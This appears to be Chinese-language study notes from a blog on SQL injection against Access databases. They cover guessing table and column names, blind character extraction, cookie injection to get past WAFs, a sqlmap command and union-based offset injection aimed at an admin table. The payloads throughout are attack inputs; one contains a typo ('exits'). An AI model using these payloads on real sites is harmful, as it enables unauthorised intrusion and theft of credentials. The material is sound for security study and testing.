Access注入
Access
- Access没有系统自带库
- 在每个查询语句后面都要带表名
-
猜表
-
第一种方法是靠强猜一些常用的表名(admin、users、job、news)
-
第二种方法是利用exists(select * from 常见的表名),如果有数据会无回显,没有就会报错,通过burp加载字典来查看表名
id=1 and exits(select * from 表名)
-
-
猜字段
-
第一种方法是靠强猜一些常用的字段(id、username、passwd)
-
第二种方法是利用exists(select 常见的字段名 from 常见的表名),如果有数据会无回显,没有就会报错,通过burp加载字典来查看表名
-
-
字段长度
?id=100 and (select top 1 len(username) from admin)=8 // 第一条数据的长度
-
数据
?id=100 and (select top 1 ascii(mid(username, 1, 1)))>100
注入手法
Cookie注入
- 什么是Cookie
- Cookie就是代表身份的一串字符串,网站根据Cookie来识别你是谁,如果你获取了管理员的Cookie,无需密码就可以登录管理员帐号
- 什么是Cookie注入
- 开发的偷懒,无论什么数据都用$_REQUEST来获取,这就有可能忽略了对Cookie传参的检测,也可以通过这个绕过waf
- 注意:php5.4以上的版本就不会接受Cookie传参了
- 开发的偷懒,无论什么数据都用$_REQUEST来获取,这就有可能忽略了对Cookie传参的检测,也可以通过这个绕过waf
流程
- 尝试cookie传入参数和值是否可以运行
- 猜字段数(order by)
- 猜表名
- 猜字段(字段名)
方法
插件修改
- EditThisCookie
- 通过“+”来添加cookie字段(可能get传参有waf拦截)
- 修改数据来进行注入
JS修改
- document.cookie="参数"+escape("值")
sqlmap跑
python3 sqlmap.py -u "http://127.0.0.1/1.asp" --cookie "id=1" --level 2
偏移注入
- 当知道表名不知道字段名的情况下使用偏移注入
- 因为sql注入是查询网站写好的数据表,想要注入别的数据表必须字段数相同,或者想要查询的数据表的字段小于当前查询的数据表的字段
表名.*代表这个数据表里面的所有数据
order by有12个字段
union select 1,2,3,4,5,6,7,8,9,10,11,12 from admin
想要注入的admin表有6个字段
union select 1,2,3,admin.*,10,11,12 from admin

浙公网安备 33010602011771号